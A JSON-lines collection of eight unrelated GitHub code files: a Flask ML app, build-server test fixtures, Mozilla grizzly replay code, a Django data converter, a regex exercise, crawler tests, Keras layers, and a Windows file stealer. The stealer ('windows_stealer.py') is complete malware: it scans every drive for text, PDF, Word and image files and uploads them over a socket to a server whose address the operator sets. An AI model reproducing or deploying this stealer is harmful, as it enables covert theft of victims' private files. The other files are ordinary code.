+{"seq_id":"2017757520","text":"import numpy as np\r\nfrom flask import Flask, request, render_template\r\nimport pickle\r\nimport os\r\n\r\napp = Flask(__name__)\r\n\r\n# Specify the directory where the template files are located\r\ntemplate_folder = os.path.join(os.path.expanduser('~'), 'python-ws')\r\n\r\n# Set the template folder for the Flask app\r\napp.template_folder = template_folder\r\n\r\n# Specify the directory where the pickle files are located\r\npickle_folder = os.path.join(os.path.expanduser('~'), 'python-ws')\r\n\r\n# Load the scaler and model from the pickle files\r\nsc = pickle.load(open(os.path.join(pickle_folder, 'sc.pkl'), 'rb'))\r\nmodel = pickle.load(open(os.path.join(pickle_folder, 'classifier.pkl'), 'rb'))\r\n\r\n@app.route('/')\r\ndef home():\r\n    return render_template('ditect.html')\r\n\r\n@app.route('/',methods=['POST'])\r\ndef predict():\r\n    float_features = [float(x) for x in request.form.values()]\r\n    final_features = [np.array(float_features)]\r\n    pred = model.predict(sc.transform(final_features))\r\n    return render_template('result.html', prediction=pred)\r\n\r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\n","repo_name":"akshitac21/ML","sub_path":"Diabetes Prediction/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35014898187","text":"from datetime import datetime\nfrom typing import Callable\nfrom sonja.auth import hash_password\nfrom sonja.database import session_scope\nfrom sonja.model import Permission, Ecosystem, PermissionLabel, Base, User, GitCredential, Repo, Option, Label, \\\n    Commit, CommitStatus, Channel, Profile, Platform, Build, BuildStatus, Recipe, RecipeRevision, Package, Run, \\\n    RunStatus, LogLine, Configuration, ConanCredential\n\nimport os\n\n\ndef run_create_operation(op: Callable[[dict], Base], parameter: dict, ecosystem_id: int = 0) -> int:\n    with session_scope() as session:\n        if ecosystem_id:\n            ecosystem = session.query(Ecosystem).filter(Ecosystem.id == ecosystem_id).first()\n            parameter[\"ecosystem\"] = ecosystem\n        obj = op(parameter)\n        session.add(obj)\n        session.commit()\n        return obj.id\n\n\ndef create_user(parameters: dict) -> User:\n    user = User()\n    user.user_name = parameters.get(\"user.user_name\", \"user\")\n    user.first_name = \"Joe\"\n    user.last_name = \"Doe\"\n    user.password = hash_password(\"password\")\n    read = Permission(label=PermissionLabel.read)\n    user.permissions.append(read)\n    if parameters.get(\"user.permissions\", \"admin\") in (\"write\", \"admin\"):\n        write = Permission(label=PermissionLabel.write)\n        user.permissions.append(write)\n    if parameters.get(\"user.permissions\", \"admin\") == \"admin\":\n        admin = Permission(label=PermissionLabel.admin)\n        user.permissions.append(admin)\n\n    return user\n\n\ndef create_configuration(parameters):\n    configuration = Configuration()\n    configuration.known_hosts = (\"Z2l0aHViLmNvbSwxNDAuODIuMTIxLjQgc3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBQkl3QUFBUUVBcTJBN\"\n                             \"2hSR21kbm05dFVEYk85SURTd0JLNlRiUWErUFhZUENQeTZyYlRyVHR3N1BIa2NjS3JwcDB5VmhwNUhkRUljS3\"\n                             \"I2cExsVkRCZk9MWDlRVXN5Q09WMHd6ZmpJSk5sR0VZc2RsTEppekhoYm4ybVVqdlNBSFFxWkVUWVA4MWVGekx\"\n                             \"RTm5QSHQ0RVZWVWg3VmZERVNVODRLZXptRDVRbFdwWExtdlUzMS95TWYrU2U4eGhIVHZLU0NaSUZJbVd3b0c2\"\n                             \"bWJVb1dmOW56cElvYVNqQit3ZXFxVVVtcGFhYXNYVmFsNzJKK1VYMkIrMlJQVzNSY1QwZU96UWdxbEpMM1JLc\"\n                             \"lRKdmRzakUzSkVBdkdxM2xHSFNaWHkyOEczc2t1YTJTbVZpL3c0eUNFNmdiT0RxblRXbGc3K3dDNjA0eWRHWE\"\n                             \"E4VkppUzVhcDQzSlhpVUZGQWFRPT0K\")\n    configuration.ssh_key = os.environ.get(\"SSH_KEY\", \"\")\n    configuration.public_ssh_key = os.environ.get(\"PUBLIC_SSH_KEY\", \"\")\n    git_credential = GitCredential(url=\"https://uboot@github.com\", username=\"\", password=os.environ.get(\"GIT_PAT\", \"\"))\n    configuration.git_credentials = [git_credential]\n    return configuration\n\n\ndef create_ecosystem(parameters):\n    ecosystem = Ecosystem()\n    ecosystem.name = \"My Ecosystem\"\n    ecosystem.user = \"sonja\"\n    ecosystem.conan_config_url = \"git@github.com:uboot/conan-config.git\"\n    ecosystem.conan_config_path = \"empty\" if parameters.get(\"ecosystem.empty_remote\", False) else \"default\"\n    ecosystem.conan_config_branch = \"\"\n    conan_credential = ConanCredential()\n    conan_credential.remote = \"default\"\n    conan_credential.username = \"agent\"\n    conan_credential.password = os.environ.get(\"CONAN_PASSWORD\", \"\")\n    ecosystem.conan_credentials = [conan_credential]\n    parameters[\"ecosystem\"] = ecosystem\n    return ecosystem\n\n\ndef create_repo(parameters):\n    repo = Repo()\n    repo.name = \"Repo Name\"\n    if \"ecosystem\" in parameters.keys():\n        repo.ecosystem = parameters[\"ecosystem\"]\n    else:\n        repo.ecosystem = create_ecosystem(parameters)\n\n    if parameters.get(\"repo.url\", \"\"):\n        repo.url = parameters.get(\"repo.url\", \"\")\n    elif parameters.get(\"repo.invalid\", False):\n        repo.url = \"https://github.com/uboot/nonsense.git\"\n    elif parameters.get(\"repo.https\", False):\n        repo.url = \"https://uboot@github.com/uboot/private-packages.git\"\n        repo.path = \"base\"\n    else:\n        repo.url = \"https://github.com/uboot/sonja-backend.git\"\n        if parameters.get(\"repo.deadlock\", False):\n            repo.path = \"packages/deadlock\"\n        elif parameters.get(\"repo.dependent\", False):\n            repo.path = \"packages/hello\"\n        else:\n            repo.path = \"packages/base\"\n            repo.options = [Option(key=\"base:with_tests\", value=\"False\")]\n    repo.exclude = [Label(value=\"desktop\")]\n    return repo\n\n\ndef create_commit(parameters):\n    commit = Commit()\n    commit.repo = create_repo(parameters)\n    commit.channel = create_channel(parameters)\n\n    if parameters.get(\"repo.https\", False):\n        commit.sha = \"fe73ab663d73ee8084cb739240d033987e708d06\"\n    else:\n        commit.sha = \"c25c786b0f4e4b8fcaa247feb4809b68e671522d\"\n\n    commit.message = \"Initial commit\\n\\nVery long and verbose description\"\n    commit.user_name = \"Joe Smith\"\n    commit.user_email = \"joe.smith@acme.com\"\n    commit.status = parameters.get(\"commit.status\", CommitStatus.new)\n    return commit\n\n\ndef create_channel(parameters):\n    channel = Channel()\n    if \"ecosystem\" in parameters.keys():\n        channel.ecosystem = parameters[\"ecosystem\"]\n    else:\n        channel.ecosystem = create_ecosystem(parameters)\n    channel.ref_pattern = parameters.get(\"channel.ref_pattern\", \"heads/main\")\n    channel.name = \"Releases\"\n    channel.conan_channel = \"stable\"\n    channel.conan_remote = \"default\"\n    return channel\n\n\ndef create_profile(parameters):\n    profile = Profile()\n    if \"ecosystem\" in parameters.keys():\n        profile.ecosystem = parameters[\"ecosystem\"]\n    else:\n        profile.ecosystem = create_ecosystem(parameters)\n    if parameters.get(\"profile.os\", \"Linux\") == \"Linux\":\n        profile.name = \"GCC 9\"\n        profile.platform = Platform.linux\n        profile.container = \"uboot/gcc9:latest\"\n        profile.conan_profile = \"linux-debug\"\n        profile.labels = [Label(value=\"embedded\")]\n        profile.platform = Platform.linux\n    else:\n        profile.name = \"MSVC 15\"\n        profile.platform = Platform.windows\n        profile.container = \"msvc15:local\"\n        profile.conan_profile = \"windows-release\"\n        profile.labels = [Label(value=\"desktop\")]\n        profile.platform = Platform.windows\n    return profile\n\n\ndef create_log_line(parameters):\n    log_line = LogLine()\n    log_line.number = 1\n    log_line.time = datetime(year=2000, month=1, day=2, hour=13, minute=50)\n    log_line.content = \"Start build...\"\n    return log_line\n\n\ndef create_build(parameters):\n    build = Build()\n    parameters[\"commit.status\"] = CommitStatus.building\n    build.created = datetime(year=2000, month=1, day=2, hour=13, minute=30)\n    build.commit = create_commit(parameters)\n    build.profile = create_profile(parameters)\n    build.status = parameters.get(\"build.status\", BuildStatus.new)\n    if parameters.get(\"build.with_dependencies\", False):\n        build.package = create_package(parameters)\n    if parameters.get(\"build.with_missing\", False):\n        build.missing_recipes = [create_recipe(parameters)]\n        build.missing_packages = [create_package(parameters)]\n    return build\n\n\ndef create_run(parameters):\n    run = Run()\n    run.build = create_build(parameters)\n    run.started = datetime(year=2000, month=1, day=2, hour=13, minute=40)\n    run.updated = parameters.get(\"run.updated\", datetime(year=2000, month=1, day=2, hour=13, minute=45))\n    run.status = parameters.get(\"run.status\", RunStatus.active)\n    return run\n\n\ndef create_recipe(parameters):\n    recipe = Recipe()\n    if \"ecosystem\" in parameters.keys():\n        recipe.ecosystem = parameters[\"ecosystem\"]\n    else:\n        recipe.ecosystem = create_ecosystem(parameters)\n    recipe.name = parameters.get(\"recipe.name\", \"app\")\n    recipe.version = \"1.2.3\"\n    recipe.user = None\n    recipe.channel = None\n    return recipe\n\n\ndef create_recipe_revision(parameters):\n    recipe = create_recipe(parameters)\n    recipe_revision = RecipeRevision()\n    recipe_revision.recipe = recipe\n    recipe.current_revision = recipe_revision\n    recipe_revision.revision = parameters.get(\"recipe_revision.revision\", \"2b44d2dde63878dd279ebe5d38c60dfaa97153fb\")\n    return recipe_revision\n\n\ndef create_package(parameters):\n    recipe_revision = create_recipe_revision(parameters)\n    package = Package()\n    package.package_id = parameters.get(\"package.package_id\", \"227220812d7ea3aa060187bae41abbc9911dfdfd\")\n    package.recipe_revision = recipe_revision\n    return package\n","repo_name":"uboot/sonja-backend","sub_path":"services/sonja/test/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":8365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74276098169","text":"## buffer class for better data handling\nclass Buffer:\n    def __init__(self,s):\n        '''Buffer a pre-created socket.\n        '''\n        self.sock = s\n        self.buffer = b''\n\n    def get_bytes(self,n):\n        '''Read exactly n bytes from the buffered socket.\n           Return remaining buffer if <n bytes remain and socket closes.\n        '''\n        while len(self.buffer) < n:\n            data = self.sock.recv(1024)\n            if not data:\n                data = self.buffer\n                self.buffer = b''\n                return data\n            self.buffer += data\n        # split off the message bytes from the buffer.\n        data,self.buffer = self.buffer[:n],self.buffer[n:]\n        return data\n\n    def put_bytes(self,data):\n        self.sock.sendall(data)\n\n    def get_utf8(self):\n        '''Read a null-terminated UTF8 data string and decode it.\n           Return an empty string if the socket closes before receiving a null.\n        '''\n        while b'\\x00' not in self.buffer:\n            data = self.sock.recv(1024)\n            if not data:\n                return ''\n            self.buffer += data\n        # split off the string from the buffer.\n        data,_,self.buffer = self.buffer.partition(b'\\x00')\n        return data.decode()\n\n    def put_utf8(self,s):\n        if '\\x00' in s:\n            raise ValueError('string contains delimiter(null)')\n        self.sock.sendall(s.encode() + b'\\x00')\n\n##import shit\nimport os\nimport win32api\nimport socket\nimport time\n\n#Buffer size\nBUFFER_SIZE = 4096\n## host and port of server \nhost = \"127.0.0.1\" #change this\nport = 5001\n\n#list for stroing file location\ntxt = []\njpg = []\npdf = []\nword = []\n\n##upload function\ndef upload(s,file_t):\n    with s:\n        sbuf = Buffer(s)\n        for f in file_t:\n            sbuf.put_utf8(f)\n            file_size = os.path.getsize(f)\n            sbuf.put_utf8(str(file_size))\n\n            with open(f,\"rb\") as t:\n                sbuf.put_bytes(t.read())\n                \n\n##return extension of files\ndef get_ext(file_path):\n    ext = file_path.split('.')[-1]\n    return ext\n\n##gather all info into lists\ndef gather_info():\n    drivers = []\n    drivers = win32api.GetLogicalDriveStrings().split(\"\\x00\")[:-1]\n    ##looping through drivers\n    for div in drivers:\n        try:\n            for root,dirs,files in os.walk(div,topdown=True):\n                for file in files:\n            \n                    file_path = os.path.join(root,file)\n                    if get_ext(file_path) == \"txt\":\n                        txt.append(file_path)\n\n                    elif get_ext(file_path) == \"pdf\":\n                        pdf.append(file_path)\n                    \n                    elif get_ext(file_path) == \"docx\" or get_ext(file_path) == \"doc\":\n                        word.append(file_path)\n\n                    \n                    elif get_ext(file_path) == \"png\" or get_ext(file_path) == \"PNG\" or get_ext(file_path) == \"jpg\" or get_ext(file_path) == \"JPG\" or get_ext(file_path) == \"jpeg\" or get_ext(file_path) == \"JPEG\":\n                        \n                        jpg.append(file_path)\n        except:\n            pass\n\n\n#main function\ndef main():\n    ##make a connection to the server \n    s =socket.socket()\n    s.connect((host,port))\n\n    ##start gathering info\n    gather_info()\n\n    ## time to sleep\n    time.sleep(3)\n\n    ##count\n    txt_count = str(len(txt))\n    word_count = str(len(word))\n    pdf_count = str(len(pdf))\n    jpg_count = str(len(jpg))\n\n    ##send the countings\n    s.send(f\"{txt_count}\".encode())\n    time.sleep(1)\n    s.send(f\"{word_count}\".encode())\n    time.sleep(1)\n    s.send(f\"{pdf_count}\".encode())\n    time.sleep(1)\n    s.send(f\"{jpg_count}\".encode())\n    \n    ##receive command from server\n    file_type = s.recv(BUFFER_SIZE).decode()\n    file_type = str(file_type)\n\n    ##start uploading\n    if file_type == \"txt\":\n        upload(s,txt)\n    elif file_type == \"pdf\":\n        upload(s,pdf)\n    elif file_type == \"word\":\n        upload(s,word)\n    elif file_type == \"image\":\n        upload(s,jpg)\n\n\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"alpha-hexor/file_stealer","sub_path":"windows_stealer.py","file_name":"windows_stealer.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"43735025455","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\nimport json\nfrom logging import getLogger\n\nfrom ..common.fuzzmanager import load_fm_data\nfrom ..main import configure_logging\nfrom .args import ReplayFuzzManagerIDArgs\nfrom .replay import ReplayManager\n\nLOG = getLogger(__name__)\n\n\ndef main(args):\n    \"\"\"CLI for `grizzly.replay.crash`.\n\n    Arguments:\n        args (argparse.Namespace): Result from `ReplayArgs.parse_args`.\n\n    Returns:\n        int: 0 for success. non-0 indicates a problem.\n    \"\"\"\n    configure_logging(args.log_level)\n    with load_fm_data(args.input, load_bucket=not args.sig) as (crash, bucket):\n        LOG.info(\"Loaded crash %d from FuzzManager\", crash.crash_id)\n        # call grizzly.replay\n        return ReplayManager.main(modify_args(args, crash, bucket))\n\n\ndef modify_args(args, crash, bucket):\n    \"\"\"\n\n    Arguments:\n        args (argparse.Namespace): Result from `ReplayArgs.parse_args`.\n\n    Returns:\n        args (argparse.Namespace): Modified arguments.\n    \"\"\"\n    # if we did not pass --sig, and the crash is not bucketed\n    # auto-generate a signature from crash data so we know what to expect\n    if not args.sig and not bucket:\n        try:\n            fm_sig_file = crash.create_signature(args.binary)\n            meta = json.loads(fm_sig_file.with_suffix(\".metadata\").read_text())\n            LOG.info(\n                \"Using crash data to generate signature: %s\",\n                meta[\"shortDescription\"],\n            )\n            args.sig = fm_sig_file\n        except RuntimeError as exc:\n            LOG.warning(\"Failed to generate signature from crash data: %s\", exc)\n\n    args.original_crash_id = args.input\n    args.input = crash.testcases(subset=args.test_index)\n    if args.tool is None:\n        LOG.info(\"Setting default --tool=%s from CrashEntry\", crash.tool)\n        args.tool = crash.tool\n\n    # load signature if needed\n    if bucket is not None:\n        args.sig = bucket.signature_path()\n        LOG.info(\"Using signature from bucket: %d\", bucket.bucket_id)\n\n    return args\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(ReplayFuzzManagerIDArgs().parse_args()))\n","repo_name":"MozillaSecurity/grizzly","sub_path":"grizzly/replay/crash.py","file_name":"crash.py","file_ext":"py","file_size_in_byte":2281,"program_lang":"python","lang":"en","doc_type":"code","stars":294,"dataset":"github-code","pt":"77"}
+{"seq_id":"73414857530","text":"from data_conversion_subsystem.settings import register_settings\n\n# Necessary to work with Django and PyPy3.\nregister_settings()\n\nfrom data_conversion_subsystem.data.models import Location, Country\nfrom data_conversion_subsystem.data_converter.data_converter import DataConverter\nfrom django.db import transaction\nfrom utilities.util import parse_float, parse_int, parse_date_utc\n\n_singleton = None\n\n\ndef instance(log_to_file=True, log_to_stdout=True, log_to_telegram=None) -> DataConverter:\n    global _singleton\n    if not _singleton or _singleton and _singleton.finished_execution():\n        _singleton = _LocationsDataConverter(log_to_file=log_to_file, log_to_stdout=log_to_stdout,\n                                             log_to_telegram=log_to_telegram)\n    return _singleton\n\n\nclass _LocationsDataConverter(DataConverter):\n\n    def __init__(self, log_to_file=True, log_to_stdout=True, log_to_telegram=None):\n        super().__init__(file_path=__file__, log_to_file=log_to_file, log_to_stdout=log_to_stdout,\n                         log_to_telegram=log_to_telegram)\n\n    def _check_dependencies_satisfied(self):\n        self.dependencies_satisfied = Country.objects.exists()\n\n    @transaction.atomic\n    def _perform_data_conversion(self):\n        \"\"\"\n            Performs data conversion between JSON data (from LocationsDataCollector) and the Location\n            Django model.\n        \"\"\"\n        self.data = []\n        for value in self.elements_to_convert:\n            try:\n                # Since the `_id` field is now an ObjectID, changing the key to `location_id` FIXES [BUG-056].\n                id = value['location_id']\n                name = value['name'].strip()\n                country_id = value['country_code']\n                climate_zone = value['climate_zone']\n                elevation = parse_int(value['elevation'].get('value'))\n                elevation_units = 'M' if elevation is not None else None\n                # Setting timezone to pytz.UTC FIXES [BUG-039].\n                last_modified = parse_date_utc(value['last_modified'])\n                latitude = parse_float(value.get('latitude'))\n                longitude = parse_float(value.get('longitude'))\n                population = parse_int(value.get('population'))\n                timezone = value.get('timezone')\n                owm_data = value.get('owm_station_id') is not None\n                # Changing permuted values FIXES [BUG-038].\n                wunderground_data = value.get('wunderground_loc_id') is not None\n                air_pollution_data = value.get('waqi_station_id') is not None\n                self.data.append(Location(id=id, name=name, country_id=country_id, climate_zone=climate_zone,\n                        elevation=elevation, elevation_units=elevation_units, last_modified=last_modified,\n                        longitude=longitude, latitude=latitude, population=population, timezone=timezone,\n                        owm_data=owm_data, wunderground_data=wunderground_data, air_pollution_data=air_pollution_data))\n            except (ValueError, AttributeError, KeyError, IndexError, TypeError):\n                _id = value.get('_id', 'Unknown ID')\n                self.logger.exception('An error occurred while parsing data. Location with ID \"%s\" will not be '\n                        'converted.' % _id)\n\n    @transaction.atomic\n    def _save_data(self):\n        \"\"\"\n            Saves collected data into a relational database, using the Django ORM.\n            This operation cannot be as efficient as a \"bulk insert\", since inserted data isn't always new, and a\n            \"IntegrityError\" would be raised. Thus, data is updated if exists, and created (using one \"bulk insert\") if\n            not.\n            Postcondition: If operation succeeds, \"self.data\" variable is dereferenced, allowing GC to free up memory.\n        \"\"\"\n        super()._save_data()\n        if self.data:\n            updated = 0\n            inserted = 0\n            bulk_insert = []\n            for l in self.data:\n                if Location.objects.filter(pk=l.id).exists():\n                    Location.objects.filter(pk=l.id).update(elevation=l.elevation, elevation_units=l.elevation_units,\n                            last_modified=l.last_modified, population=l.population, owm_data=l.owm_data,\n                            wunderground_data=l.wunderground_data, air_pollution_data=l.air_pollution_data,\n                            timezone=l.timezone)\n                    updated += 1\n                else:\n                    bulk_insert.append(l)\n            if bulk_insert:\n                inserted = len(Location.objects.bulk_create(self.data))\n            self.state['inserted_elements'] = inserted + updated\n            self.logger.debug('Successfully saved %d elements.\\n\\t- Inserted (bulk insert): %d.\\n\\t- Updated: %d.' %\n                    (self.state['inserted_elements'], inserted, updated))\n        else:\n            self.logger.info('No elements were saved because no elements were available.')\n        self.data = None\n","repo_name":"diego-hermida/ClimateChangeApp","sub_path":"data_conversion_subsystem/data_converters/locations/locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":5044,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"16110551851","text":"#!/usr/bin/env python\n\nimport re\n\npattern = [r'([A-Za-z0-9]){10}', r'([A-Z].*){2}', r'([0-9].*){3}']\nreg = map(re.compile, pattern)\nlength = input()\ntab_uuid = [raw_input() for j in range(length)]\nprint ('\\n').join(['Valid' if all([re.search(r, uuid) for r in reg]) and not re.search(\n    r'.*(.).*\\1', uuid) else 'Invalid' for uuid in tab_uuid])\n","repo_name":"ZuZuD/hackerranck","sub_path":"Python/Regex and Parsing/validating-uid.py","file_name":"validating-uid.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"38302683393","text":"from unittest import mock, TestCase, main\nimport requests\nimport crawler\n\n\nclass TestCrawlerFunctions(TestCase):\n\n    def test_form_url_returns_url(self):\n        crawler.base_url = 'http://testurl.com'\n        actual = crawler.form_url('/blog')\n        expected = 'http://testurl.com/blog'\n        self.assertEqual(actual, expected)\n\n    def test_form_url_returns_base_url_if_passed_in(self):\n        crawler.base_url = 'http://testurl.com'\n        actual = crawler.form_url('http://testurl.com')\n        expected = 'http://testurl.com'\n        self.assertEqual(actual, expected)\n\n    def test_parse_html_links_returns_empty_list_on_bad_url(self):\n        actual = crawler.parse_html_links('broken link')\n        expected = []\n        self.assertEqual(actual, expected)\n\n    def test_filter_visited_links(self):\n        crawler.visited_links = {'/', '/shop'}\n        links = ['/', '/shop', '/blog', '/about']\n        actual = crawler.filter_visited_links(links)\n        expected = ['/blog', '/about']\n        self.assertEqual(actual, expected)\n\n    def test_add_to_site_map(self):\n        crawler.site_map = {'endpoint1': []}\n        crawler.add_to_site_map('endpoint2', ['link1', 'link2'])\n        expected = {'endpoint1': [], 'endpoint2': ['link1', 'link2']}\n        self.assertEqual(crawler.site_map, expected)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"alice-carr/basic_webcrawler","sub_path":"crawlerTest.py","file_name":"crawlerTest.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39540174850","text":"'''\nThis is a part of the supplementary material uploaded along with \nthe manuscript:\n    \"Semantic Segmentation of Pathological Lung Tissue with Dilated Fully Convolutional Networks\"\n    M. Anthimopoulos, S. Christodoulidis, L. Ebner, A. Christe and S. Mougiakakou\n    IEEE Journal of Biomedical and Health infomatics (2018)\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nFor more information please read the README file. The files can also \nbe found at: https://github.com/intact-project/LungNet\n'''\n\nfrom keras.engine import Layer, InputSpec\nfrom keras import regularizers\nfrom keras import initializers\nfrom keras import backend as K\n\n\nclass Softmax4D(Layer):\n    \"\"\"\n    This class was retrieved and modified from \n    https://github.com/keras-team/keras/tree/1.2.1\n    licensed under The MIT License (MIT) as defined\n    here https://github.com/keras-team/keras/blob/1.2.1/LICENSE\n    \n    Softmax activation function.\n    # Arguments\n        x : Tensor.\n        axis: Integer, axis along which the softmax normalization is applied.\n    # Returns\n        Tensor, output of softmax transformation.\n    # Raises\n        ValueError: In case `dim(x) == 1`.\n    \"\"\"\n    def __init__(self, axis=-1,**kwargs):\n        self.axis=axis\n        super(Softmax4D, self).__init__(**kwargs)\n\n    def build(self,input_shape):\n        pass\n\n    def call(self, x, mask=None):\n        e = K.exp(x - K.max(x, axis=self.axis, keepdims=True))\n        s = K.sum(e, axis=self.axis, keepdims=True)\n        return K.clip(e / s, 10e-8, 1.0 - 10e-8)\n\n    def compute_output_shape(self, input_shape):\n        return input_shape\n\n\nclass BatchNormalization(Layer):\n    \"\"\"\n    This class was retrieved and modified from \n    https://github.com/keras-team/keras/tree/1.2.1\n    licensed under The MIT License (MIT) as defined\n    here https://github.com/keras-team/keras/blob/1.2.1/LICENSE\n\n    Batch normalization layer (Ioffe and Szegedy, 2014).\n    Normalize the activations of the previous layer at each batch,\n    i.e. applies a transformation that maintains the mean activation\n    close to 0 and the activation standard deviation close to 1.\n    # Arguments\n        epsilon: small float > 0. Fuzz parameter.\n            Theano expects epsilon >= 1e-5.\n        mode: integer, 0, 1 or 2.\n            - 0: feature-wise normalization.\n                Each feature map in the input will\n                be normalized separately. The axis on which\n                to normalize is specified by the `axis` argument.\n                Note that if the input is a 4D image tensor\n                using Theano conventions (samples, channels, rows, cols)\n                then you should set `axis` to `1` to normalize along\n                the channels axis.\n                During training we use per-batch statistics to normalize\n                the data, and during testing we use running averages\n                computed during the training phase.\n            - 1: sample-wise normalization. This mode assumes a 2D input.\n            - 2: feature-wise normalization, like mode 0, but\n                using per-batch statistics to normalize the data during both\n                testing and training.\n        axis: integer, axis along which to normalize in mode 0. For instance,\n            if your input tensor has shape (samples, channels, rows, cols),\n            set axis to 1 to normalize per feature map (channels axis).\n        momentum: momentum in the computation of the\n            exponential average of the mean and standard deviation\n            of the data, for feature-wise normalization.\n        weights: Initialization weights.\n            List of 2 Numpy arrays, with shapes:\n            `[(input_shape,), (input_shape,)]`\n            Note that the order of this list is [gamma, beta, mean, std]\n        beta_init: name of initialization function for shift parameter\n            (see [initializations](../initializations.md)), or alternatively,\n            Theano/TensorFlow function to use for weights initialization.\n            This parameter is only relevant if you don't pass a `weights` argument.\n        gamma_init: name of initialization function for scale parameter (see\n            [initializations](../initializations.md)), or alternatively,\n            Theano/TensorFlow function to use for weights initialization.\n            This parameter is only relevant if you don't pass a `weights` argument.\n        gamma_regularizer: instance of [WeightRegularizer](../regularizers.md)\n            (eg. L1 or L2 regularization), applied to the gamma vector.\n        beta_regularizer: instance of [WeightRegularizer](../regularizers.md),\n            applied to the beta vector.\n    # Input shape\n        Arbitrary. Use the keyword argument `input_shape`\n        (tuple of integers, does not include the samples axis)\n        when using this layer as the first layer in a model.\n    # Output shape\n        Same shape as input.\n    # References\n        - [Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift](https://arxiv.org/abs/1502.03167)\n    \"\"\"\n\n    def __init__(self, epsilon=1e-3, mode=0, axis=-1, momentum=0.99,\n                 weights=None, beta_init='zero', gamma_init='one',\n                 gamma_regularizer=None, beta_regularizer=None, **kwargs):\n        self.supports_masking = True\n        self.beta_init = initializers.get(beta_init)\n        self.gamma_init = initializers.get(gamma_init)\n        self.epsilon = epsilon\n        self.mode = mode\n        self.axis = axis\n        self.momentum = momentum\n        self.gamma_regularizer = regularizers.get(gamma_regularizer)\n        self.beta_regularizer = regularizers.get(beta_regularizer)\n        self.initial_weights = weights\n        if self.mode == 0:\n            self.uses_learning_phase = True\n        super(BatchNormalization, self).__init__(**kwargs)\n\n    def build(self, input_shape):\n        self.input_spec = [InputSpec(shape=input_shape)]\n        shape = (input_shape[self.axis],)\n\n        self.gamma = self.add_weight(shape,\n                                     initializer=self.gamma_init,\n                                     regularizer=self.gamma_regularizer,\n                                     name='{}_gamma'.format(self.name))\n        self.beta = self.add_weight(shape,\n                                    initializer=self.beta_init,\n                                    regularizer=self.beta_regularizer,\n                                    name='{}_beta'.format(self.name))\n        self.running_mean = self.add_weight(shape, initializer='zero',\n                                            name='{}_running_mean'.format(self.name),\n                                            trainable=False)\n        self.running_std = self.add_weight(shape, initializer='one',\n                                           name='{}_running_std'.format(self.name),\n                                           trainable=False)\n\n        if self.initial_weights is not None:\n            self.set_weights(self.initial_weights)\n            del self.initial_weights\n        self.built = True\n\n    def call(self, x, mask=None):\n        if self.mode == 0 or self.mode == 2:\n            assert self.built, 'Layer must be built before being called'\n            input_shape = K.int_shape(x)\n\n            reduction_axes = list(range(len(input_shape)))\n            del reduction_axes[self.axis]\n            broadcast_shape = [1] * len(input_shape)\n            broadcast_shape[self.axis] = input_shape[self.axis]\n\n            x_normed, mean, std = K.normalize_batch_in_training(\n                x, self.gamma, self.beta, reduction_axes,\n                epsilon=self.epsilon)\n\n            if self.mode == 0:\n                self.add_update([K.moving_average_update(self.running_mean, mean, self.momentum),\n                                 K.moving_average_update(self.running_std, std, self.momentum)], x)\n\n                if sorted(reduction_axes) == range(K.ndim(x))[:-1]:\n                    x_normed_running = K.batch_normalization(\n                        x, self.running_mean, self.running_std,\n                        self.beta, self.gamma,\n                        epsilon=self.epsilon)\n                else:\n                    # need broadcasting\n                    broadcast_running_mean = K.reshape(self.running_mean, broadcast_shape)\n                    broadcast_running_std = K.reshape(self.running_std, broadcast_shape)\n                    broadcast_beta = K.reshape(self.beta, broadcast_shape)\n                    broadcast_gamma = K.reshape(self.gamma, broadcast_shape)\n                    x_normed_running = K.batch_normalization(\n                        x, broadcast_running_mean, broadcast_running_std,\n                        broadcast_beta, broadcast_gamma,\n                        epsilon=self.epsilon)\n\n                # pick the normalized form of x corresponding to the training phase\n                x_normed = K.in_train_phase(x_normed, x_normed_running)\n\n        elif self.mode == 1:\n            # sample-wise normalization\n            m = K.mean(x, axis=-1, keepdims=True)\n            std = K.sqrt(K.var(x, axis=-1, keepdims=True) + self.epsilon)\n            x_normed = (x - m) / (std + self.epsilon)\n            x_normed = self.gamma * x_normed + self.beta\n        return x_normed\n\n    def get_config(self):\n        config = {\n            'epsilon': self.epsilon,\n            'mode': self.mode,\n            'axis': self.axis,\n            'momentum': self.momentum,\n            'gamma_regularizer': regularizers.serialize(self.gamma_regularizer),\n            'beta_regularizer': regularizers.serialize(self.beta_regularizer)\n        }\n        base_config = super(BatchNormalization, self).get_config()\n        return dict(list(base_config.items()) + list(config.items()))\n","repo_name":"intact-project/LungNet","sub_path":"custom_layers.py","file_name":"custom_layers.py","file_ext":"py","file_size_in_byte":10354,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"77"}
